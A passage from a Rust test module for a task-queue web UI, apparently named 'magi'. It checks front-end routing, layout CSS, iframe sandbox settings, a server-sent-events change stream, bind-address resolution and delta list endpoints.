14963 "the note line must name what a blocked task is waiting on, not just that it is blocked"
14964 );
14965 assert!(APP_JS.contains("if (status === \"blocked\") {"));
14969
14970 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
14974 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
14975 assert!(
14976 APP_JS.contains("location.hash = \"#/questions\";"),
14977 "a question node must jump to the Questions screen, not pretend to be a task"
14978 );
14979
14980 assert!(APP_JS.contains("Resolved questions"));
14983 assert!(APP_JS.contains("r.answersList.append("));
14984 assert!(APP_CSS.contains(".task-answers"));
14985 {
14986 let start = APP_JS
14987 .find("function updateTalkTaskRow")
14988 .expect("updateTalkTaskRow");
14989 let body = &APP_JS[start..];
14990 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
14991 assert!(
14992 body.contains(
14993 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
14994 ),
14995 "a chat-filed task row must link to the task page"
14996 );
14997 assert!(
14998 !body.contains("#/runs/") && !body.contains("#/queue/"),
14999 "the row must not branch to a run or the queue card"
15000 );
15001 assert!(APP_CSS.contains(".talk-task-link"));
15002 }
15003 }
15004
15005 #[test]
15006 fn a_task_notification_links_to_the_task_page() {
15007 let start = APP_JS
15009 .find("function noticeLink(")
15010 .expect("noticeLink exists");
15011 let body = &APP_JS[start..];
15012 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
15013 assert!(
15014 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
15015 "a task notice's link must target the task page"
15016 );
15017 assert!(
15018 !body.contains("#/queue/"),
15019 "regression: the task link must not go back to the Backlog route"
15020 );
15021 assert!(
15022 APP_JS.contains(
15023 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
15024 ),
15025 "`#/tasks/<id>` must parse into the task route"
15026 );
15027
15028 assert!(
15030 APP_JS.contains(
15031 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
15032 ),
15033 "`#/queue/<id>` must parse into a route carrying that id"
15034 );
15035
15036 assert!(APP_JS.contains("state.queueFocus = route.id;"));
15040 assert!(APP_JS.contains("function consumeQueueFocus()"));
15041 assert!(APP_JS.contains("jumpToTask(id)"));
15042 }
15043
15044 #[test]
15047 fn chat_rows_put_the_title_alone_on_the_first_line() {
15048 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
15049 assert!(APP_CSS.contains(
15050 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
15051 ));
15052 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
15053 assert!(APP_JS.contains("class: \"badge talk-unread\""));
15054 }
15055
15056 #[test]
15057 fn run_rows_put_the_title_alone_on_the_first_line() {
15058 assert!(
15059 APP_CSS.contains(
15060 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
15061 )
15062 );
15063 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
15064 assert!(APP_JS.contains("class: \"card run-card\""));
15065 assert!(APP_JS.contains("class: \"repo run-id\""));
15066 }
15067
15068 #[test]
15072 fn wide_screens_show_list_and_preview_side_by_side() {
15073 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
15075 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
15076 assert!(APP_CSS.contains("main[data-split]"));
15077 assert!(APP_CSS.contains("body[data-split]"));
15078
15079 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
15081 assert!(
15082 APP_JS.contains(
15083 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
15084 )
15085 );
15086 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
15087 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
15088 assert!(INDEX_HTML.contains("id=\"split-empty\""));
15089
15090 assert!(APP_JS.contains("function markSelected() {"));
15092 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
15093 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
15094 assert!(
15096 APP_CSS.contains(
15097 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
15098 )
15099 );
15100
15101 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
15103 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
15104 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
15105 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
15106
15107 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
15111 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
15112 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
15113 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
15114
15115 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
15117 }
15118
15119 #[test]
15120 fn panel_sandbox_carries_exactly_popups() {
15121 let needle = "sandbox: \"";
15122 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
15123 assert_eq!(
15124 matches.len(),
15125 1,
15126 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
15127 );
15128 let start = matches[0].0 + needle.len();
15129 let end = APP_JS[start..]
15130 .find('"')
15131 .expect("sandbox attribute value must be terminated by a closing quote");
15132 let val = &APP_JS[start..start + end];
15133 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
15134 let expected: std::collections::BTreeSet<&str> =
15135 ["allow-popups", "allow-popups-to-escape-sandbox"]
15136 .into_iter()
15137 .collect();
15138 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
15139 assert!(
15140 !tokens.contains("allow-scripts"),
15141 "allow-scripts must never be present in sandbox"
15142 );
15143 assert!(
15144 !tokens.contains("allow-same-origin"),
15145 "allow-same-origin must never be present in sandbox"
15146 );
15147 }
15148
15149 #[test]
15150 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
15151 assert!(
15160 APP_JS.contains(
15161 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
15162 ),
15163 "the search-clearing branch must run before state.queueFocus is cleared, or the \
15164 recursive renderQueue() call has nothing left to jump to"
15165 );
15166 assert!(
15167 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
15168 "state.queueFocus must be cleared only once the jump has landed, so a card that \
15169 arrives later still gets it"
15170 );
15171 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
15172 assert!(APP_JS.contains("is not in the current Backlog."));
15173 assert!(APP_JS.contains("li.card[data-task-id=\""));
15174 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
15175 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
15176 assert!(APP_CSS.contains(".card-permalink"));
15177 assert!(APP_CSS.contains(".queue-focus-status"));
15178 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
15179 }
15180
15181 #[test]
15182 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
15183 assert!(
15191 APP_JS.contains(
15192 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
15193 ),
15194 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
15195 );
15196 }
15197
15198 #[test]
15199 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
15200 assert!(
15201 APP_JS.contains("round.verified_head !== round.head"),
15202 "a round that verified an earlier commit must be visibly distinct from one that \
15203 verified the head reviewers are looking at now"
15204 );
15205 assert!(
15206 APP_JS.contains("round.verified_at"),
15207 "when a check ran must be on the wire, not just which commit"
15208 );
15209 assert!(
15210 APP_JS.contains("resource_blocked"),
15211 "a command magi never got to run (shared build cache contention) must not render \
15212 the same as a command that ran and failed"
15213 );
15214 }
15215
15216 #[test]
15217 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
15218 assert!(
15226 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
15227 "every KPI tile built through statusTile() must route its click through \
15228 openRunsFiltered, the single place that sets the Runs filter"
15229 );
15230 for (label, status) in [
15231 ("Merged", "merged"),
15232 ("Ready", "ready"),
15233 ("Blocked", "blocked"),
15234 ("Stalled", "stalled"),
15235 ] {
15236 let call = format!("statusTile(\"{label}\", t.{status}, ");
15237 assert!(
15238 APP_JS.contains(&call),
15239 "expected the {label} KPI tile built via {call}..."
15240 );
15241 assert!(
15242 APP_JS.contains(&format!("status === \"{status}\"")),
15243 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
15244 compare a run against, not one invented only for the stats tile"
15245 );
15246 }
15247 assert!(
15248 APP_JS.contains("function openRunsFiltered(status)"),
15249 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
15250 );
15251 assert!(
15252 APP_JS.contains(
15253 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
15254 ),
15255 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
15256 );
15257 assert!(
15265 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
15266 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
15267 hashchange event that may never fire"
15268 );
15269 }
15270
15271 #[test]
15272 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
15273 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
15279 assert!(
15280 APP_JS.contains(
15281 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
15282 ),
15283 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
15284 guard for an incompatible tree section"
15285 );
15286 }
15287
15288 #[test]
15289 fn every_stats_queue_tile_names_a_real_queue_section() {
15290 assert!(
15296 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
15297 "every queue tile built through sectionTile() must route its click through \
15298 openQueueSectionFocus"
15299 );
15300 for key in ["upnext", "running", "done", "held", "blocked"] {
15301 assert!(
15302 APP_JS.contains(&format!("{{ key: \"{key}\",")),
15303 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
15304 );
15305 }
15306 for line in [
15310 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
15311 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
15312 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
15313 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
15314 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
15315 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
15316 ] {
15317 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
15318 }
15319 }
15320
15321 #[test]
15322 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
15323 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
15330 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
15331 assert!(APP_JS.contains("function revealQueueSection(details)"));
15332 assert!(
15333 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
15334 "renderQueue() must consume both focus channels on every pass"
15335 );
15336 assert!(
15337 APP_JS.contains(
15338 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
15339 ),
15340 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
15341 the recursive renderQueue() call has nothing left to reveal"
15342 );
15343 assert!(
15344 APP_JS.contains(
15345 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
15346 ),
15347 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
15348 );
15349 assert!(
15357 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
15358 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
15359 hashchange event that may never fire"
15360 );
15361 }
15362
15363 #[tokio::test]
15364 async fn the_change_stream_announces_the_current_revisions_on_connect() {
15365 let f = Fixture::start().await;
15366
15367 let mut socket = tokio::net::TcpStream::connect(f.addr)
15368 .await
15369 .expect("connect");
15370 socket
15371 .write_all(
15372 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
15373 )
15374 .await
15375 .expect("write request");
15376
15377 let mut seen = String::new();
15380 let mut buf = [0u8; 1024];
15381 while !seen.contains("event: change") {
15382 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
15383 .await
15384 .expect("the stream must speak within five seconds")
15385 .expect("read");
15386 assert!(read > 0, "the server closed the change stream: {seen}");
15387 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
15388 }
15389
15390 assert!(
15391 seen.to_lowercase()
15392 .contains("content-type: text/event-stream"),
15393 "the browser only reconnects automatically for a real SSE stream: {seen}"
15394 );
15395 let data = seen
15396 .lines()
15397 .find_map(|l| l.strip_prefix("data:"))
15398 .expect("a data line");
15399 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
15400 assert!(
15401 payload["queue_rev"].is_u64()
15402 && payload["runs_rev"].is_u64()
15403 && payload["questions_rev"].is_u64()
15404 && payload["talks_rev"].is_u64()
15405 && payload["notifications_rev"].is_u64()
15406 && payload["loop_rev"].is_u64(),
15407 "the client needs one revision per store to know what to refetch, \
15408 and `talks_rev` is the only notification a standing talk gets - a \
15409 phone whose radio slept through a turn learns about it here, as \
15410 does one whose operator started the loop from another device: \
15411 {payload}"
15412 );
15413
15414 let health = f.get("/api/health").await.json();
15421 for key in [
15422 "queue_rev",
15423 "runs_rev",
15424 "questions_rev",
15425 "talks_rev",
15426 "notifications_rev",
15427 "loop_rev",
15428 ] {
15429 assert!(
15430 health[key].is_u64(),
15431 "health is the change stream's fallback and is missing `{key}`: {health}"
15432 );
15433 }
15434 }
15435
15436 #[tokio::test]
15437 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
15438 let f = Fixture::start().await;
15439 let before = f.get("/api/health").await.json()["talks_rev"]
15440 .as_u64()
15441 .expect("talks_rev");
15442
15443 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
15444 std::thread::sleep(Duration::from_millis(10));
15445 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
15446 on_disk.turns.push(crate::talk::Turn {
15447 breaks: Some(Vec::new()),
15448 messages: Vec::new(),
15449 posted_by: None,
15450 who: crate::talk::Who::Operator,
15451 body: "a new turn".to_owned(),
15452 at: Timestamp::now(),
15453 attachments: Vec::new(),
15454 usage: None,
15455 });
15456 f.talks().put(&mut on_disk).expect("record a turn");
15457
15458 let after = f.get("/api/health").await.json()["talks_rev"]
15459 .as_u64()
15460 .expect("talks_rev");
15461 assert_ne!(
15462 before, after,
15463 "a phone must be able to notice a talk's reply without polling every store"
15464 );
15465 }
15466
15467 #[test]
15468 fn bind_reads_back_from_the_spelling_the_cli_prints() {
15469 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
15473 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
15474 }
15475 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
15476 assert!("everywhere".parse::<Bind>().is_err());
15477 }
15478
15479 #[test]
15480 fn an_explicit_bind_address_is_taken_verbatim() {
15481 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
15482
15483 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
15484
15485 assert_eq!(addr, asked);
15486 assert!(
15487 warning.is_none(),
15488 "an operator who named an address gets no lecture"
15489 );
15490 }
15491
15492 #[test]
15493 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
15494 let (addr, warning) = resolve_bind(&Bind::Auto);
15495
15496 match addr {
15503 IpAddr::V4(ip) if is_tailnet(&ip) => {
15504 assert!(warning.is_none(), "a tailnet address needs no warning");
15505 }
15506 other => {
15507 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
15508 let warning = warning.expect("a fallback has to explain itself");
15509 assert!(
15510 warning.contains("127.0.0.1") && warning.contains("local-only"),
15511 "the warning says what happened and what it costs: {warning}"
15512 );
15513 }
15514 }
15515 }
15516
15517 #[test]
15518 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
15519 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
15523 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
15524 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
15525 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
15526 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
15527 }
15528
15529 #[test]
15530 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
15531 let ids = vec![
15532 "20260902-140501-aaaa".to_owned(),
15533 "20260902-140502-aabb".to_owned(),
15534 ];
15535
15536 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
15537 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
15538 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
15539
15540 assert_eq!(missing.status, StatusCode::NOT_FOUND);
15541 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
15542 assert_eq!(short, "20260902-140502-aabb");
15543 }
15544 #[tokio::test]
15545 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
15546 let fx = Fixture::start().await;
15552 let id = panel(
15553 &fx,
15554 "<img src=\"shot.png\">",
15555 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
15556 );
15557
15558 let doc = fx
15560 .get(&format!("/api/questions/{id}/panel/index.html"))
15561 .await;
15562 assert_eq!(doc.status, 200, "{}", doc.body);
15563 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
15564
15565 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
15566 assert_eq!(sibling.status, 200, "{}", sibling.body);
15567 assert_eq!(sibling.header("content-type"), Some("image/png"));
15568 assert_eq!(
15569 sibling.header("content-security-policy"),
15570 Some(PANEL_CSP),
15571 "the sibling route must carry the same policy as the asset route"
15572 );
15573
15574 assert_eq!(
15577 fx.head(&format!("/api/questions/{id}/panel")).await.status,
15578 200
15579 );
15580 }
15581
15582 #[test]
15583 fn delta_stamps_cover_add_update_remove_and_noop() {
15584 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
15585 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
15586 let delta = diff_stamps(&before, &after, 42);
15587 assert_eq!(delta.base, 42);
15588 assert_eq!(delta.changed, ["b", "c"]);
15589 assert_eq!(delta.removed, ["a"]);
15590 let same = diff_stamps(&after, &after, 43);
15591 assert!(same.changed.is_empty() && same.removed.is_empty());
15592 assert_ne!(stamps_revision(&before), stamps_revision(&after));
15593 let nanos: Stamps = [("b".into(), (2, 20))].into();
15594 let same_ms: Stamps = [("b".into(), (3, 20))].into();
15595 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
15596 assert_eq!(stamps_revision(&Stamps::new()), 0);
15597 }
15598
15599 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
15600 std::fs::create_dir_all(home.join("runs")).unwrap();
15601 Arc::new(Ui::new(
15602 Queue::at(home.join("queue")),
15603 Questions::at(home.join("questions")),
15604 Talks::at(home.join("talks")),
15605 home.join("runs"),
15606 home.to_owned(),
15607 PathBuf::from("/repo/magi"),
15608 ))
15609 }
15610
15611 #[tokio::test]
15612 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
15613 let home = TempDir::new().unwrap();
15614 let ui = delta_test_ui(home.path());
15615 let mut task = Task::new(
15616 "stream task".into(),
15617 "text".into(),
15618 PathBuf::from("/repo"),
15619 Source::Human,
15620 );
15621 ui.queue.put(&mut task).unwrap();
15622 let response = events(State(ui.clone())).await.into_response();
15623 let mut stream = response.into_body().into_data_stream();
15624 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
15625 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
15626 .await
15627 .unwrap()
15628 .unwrap()
15629 .unwrap();
15630 let text = String::from_utf8(chunk.to_vec()).unwrap();
15631 let data = text
15632 .lines()
15633 .find_map(|line| {
15634 line.strip_prefix("data: ")
15635 .or_else(|| line.strip_prefix("data:"))
15636 })
15637 .unwrap();
15638 serde_json::from_str(data).unwrap()
15639 }
15640 let initial = change(&mut stream).await;
15641 assert!(initial.get("queue_delta").is_none());
15642 task.instruction.push_str(" changed");
15643 ui.queue.put(&mut task).unwrap();
15644 let updated = change(&mut stream).await;
15645 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
15646 assert_eq!(
15647 updated["queue_delta"]["changed"],
15648 serde_json::json!([task.id])
15649 );
15650 assert_eq!(
15651 updated["queue_rev"].as_u64(),
15652 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
15653 );
15654 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
15655 let removed = change(&mut stream).await;
15656 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
15657 assert_eq!(
15658 removed["queue_delta"]["removed"],
15659 serde_json::json!([task.id])
15660 );
15661 }
15662
15663 #[tokio::test]
15664 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
15665 let home = TempDir::new().unwrap();
15666 let ui = delta_test_ui(home.path());
15667 let queue = ui.queue.clone();
15668 let query = |ids: Option<&str>| {
15669 Query(ListQuery {
15670 limit: Some(2),
15671 ids: ids.map(str::to_owned),
15672 })
15673 };
15674 let mut root = Task::new(
15675 "root".into(),
15676 "instruction".into(),
15677 PathBuf::from("/repo"),
15678 Source::Human,
15679 );
15680 queue.put(&mut root).unwrap();
15681 let mut blocked = Task::new(
15682 "blocked".into(),
15683 "instruction".into(),
15684 PathBuf::from("/repo"),
15685 Source::Human,
15686 );
15687 blocked.block(vec![root.id.clone()], None);
15688 queue.put(&mut blocked).unwrap();
15689 let whole =
15690 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
15691 .unwrap();
15692 let subset = serde_json::to_value(
15693 queue_list(State(ui.clone()), query(Some(&root.id)))
15694 .await
15695 .unwrap()
15696 .0,
15697 )
15698 .unwrap();
15699 assert_eq!(whole, subset, "requested root plus its blocked dependent");
15700 let blockers = serde_json::to_value(
15701 queue_list(State(ui.clone()), query(Some("")))
15702 .await
15703 .unwrap()
15704 .0,
15705 )
15706 .unwrap();
15707 assert_eq!(blockers.as_array().unwrap().len(), 1);
15708 assert_eq!(blockers[0]["id"], blocked.id);
15709 assert_eq!(
15710 blockers[0]["waits_on"],
15711 whole
15712 .as_array()
15713 .unwrap()
15714 .iter()
15715 .find(|row| row["id"] == blocked.id)
15716 .unwrap()["waits_on"]
15717 );
15718
15719 for id in [
15720 "20260902-140501-aaaa",
15721 "20260902-140502-bbbb",
15722 "20260902-140503-cccc",
15723 ] {
15724 write_run(&ui.runs, id, RunStatus::Merged);
15725 }
15726 let old = serde_json::to_value(
15727 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
15728 .await
15729 .unwrap()
15730 .0,
15731 )
15732 .unwrap();
15733 assert!(
15734 old.as_array().unwrap().is_empty(),
15735 "older updates must not enter the window"
15736 );
15737 let newest = serde_json::to_value(
15738 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
15739 .await
15740 .unwrap()
15741 .0,
15742 )
15743 .unwrap();
15744 assert_eq!(newest.as_array().unwrap().len(), 1);
15745 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
15746
15747 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
15748 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
15749 let talks = serde_json::to_value(
15750 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
15751 .await
15752 .unwrap()
15753 .0,
15754 )
15755 .unwrap();
15756 assert_eq!(talks.as_array().unwrap().len(), 1);
15757 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
15758 assert_eq!(
15759 serde_json::to_value(
15760 talks_list(State(ui.clone()), query(Some("")))
15761 .await
15762 .unwrap()
15763 .0
15764 )
15765 .unwrap(),
15766 serde_json::json!([])
15767 );
15768 }
15769
15770 #[tokio::test]
15771 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
15772 async fn delta_payload_benchmark() {
15773 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
15774 let ui = delta_test_ui(&home);
15775 let query = |ids: Option<String>| {
15776 Query(ListQuery {
15777 limit: Some(50),
15778 ids,
15779 })
15780 };
15781 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
15782 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
15783 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
15784 let queue_id = queue
15785 .iter()
15786 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
15787 .unwrap_or(&queue[0])
15788 .task
15789 .id
15790 .clone();
15791 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
15792 .await
15793 .unwrap()
15794 .0;
15795 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
15796 .await
15797 .unwrap()
15798 .0;
15799 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
15800 .await
15801 .unwrap()
15802 .0;
15803 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
15804 eprintln!(
15805 "DELTA_PAYLOAD {}",
15806 serde_json::json!({
15807 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
15808 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
15809 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
15810 "counts": [queue.len(), runs.len(), talks.len()],
15811 "blocked": queue_delta.len() - 1,
15812 })
15813 );
15814 }
15815
15816 #[test]
15817 fn runs_revision_moves_when_deleting_an_older_run() {
15818 let temp = TempDir::new().expect("tempdir");
15819 let runs = temp.path().join("runs");
15820 std::fs::create_dir_all(&runs).expect("create runs dir");
15821
15822 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
15823
15824 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
15825 std::thread::sleep(Duration::from_millis(10));
15826 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
15827
15828 let rev_before = runs_revision(&runs);
15829 assert!(rev_before > 0);
15830
15831 let old_dir = runs.join("20260901-100000-old1");
15832 std::fs::remove_dir_all(&old_dir).expect("remove old run");
15833
15834 let rev_after = runs_revision(&runs);
15835 assert_ne!(
15836 rev_before, rev_after,
15837 "deleting an older run must change the revision so other clients see the deletion"
15838 );
15839 }
15840
15841 fn write_state(runs: &FsPath, state: &RunState) {
15846 let dir = runs.join(&state.id);
15847 std::fs::create_dir_all(&dir).expect("run dir");
15848 std::fs::write(
15849 dir.join("run.json"),
15850 serde_json::to_string_pretty(state).expect("serialize run"),
15851 )
15852 .expect("write run.json");
15853 }
15854
15855 #[test]
15860 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
15861 let temp = TempDir::new().expect("tempdir");
15862 let runs = temp.path().join("runs");
15863 std::fs::create_dir_all(&runs).expect("create runs dir");
15864 let mut state = RunState::new(
15865 PathBuf::from("/repo/magi"),
15866 "main".to_owned(),
15867 "0123456789abcdef".to_owned(),
15868 "task".to_owned(),
15869 Config::default(),
15870 );
15871 state.id = "20260902-100000-c0de".to_owned();
15872 write_state(&runs, &state);
15873
15874 let rev_idle = runs_revision(&runs);
15875 std::thread::sleep(Duration::from_millis(10));
15876 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
15877 write_state(&runs, &state);
15878 let rev_started = runs_revision(&runs);
15879 assert_ne!(
15880 rev_idle, rev_started,
15881 "a seat starting must move the revision"
15882 );
15883
15884 std::thread::sleep(Duration::from_millis(10));
15885 state.seat_finished("judge-1");
15886 write_state(&runs, &state);
15887 let rev_finished = runs_revision(&runs);
15888 assert_ne!(
15889 rev_started, rev_finished,
15890 "and clearing it again must move the revision a second time"
15891 );
15892 }
15893
15894 #[tokio::test]
15895 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
15896 let fx = Fixture::start().await;
15901 let q = fx.queue();
15902
15903 let mut t = Task::new(
15904 "Task".to_owned(),
15905 "Instruction".to_owned(),
15906 PathBuf::from("/repo"),
15907 Source::Human,
15908 );
15909 t.block(
15910 vec!["20260101-000000-dead".to_owned()],
15911 Some("waiting on Task 1".to_owned()),
15912 );
15913 t.answers.push(crate::queue::AnsweredQuestion {
15914 question: "Which backend?".to_owned(),
15915 answer: "SQLite".to_owned(),
15916 });
15917 q.put(&mut t).expect("put t");
15918
15919 let res = fx.get("/api/queue").await;
15920 assert_eq!(res.status, 200);
15921 let list = res.json();
15922 let view = list
15923 .as_array()
15924 .expect("array")
15925 .iter()
15926 .find(|v| v["id"] == t.id)
15927 .expect("task in list");
15928 assert_eq!(view["status_str"], "blocked");
15929 assert_eq!(
15930 view["blocked_by"],
15931 serde_json::json!(["20260101-000000-dead"])
15932 );
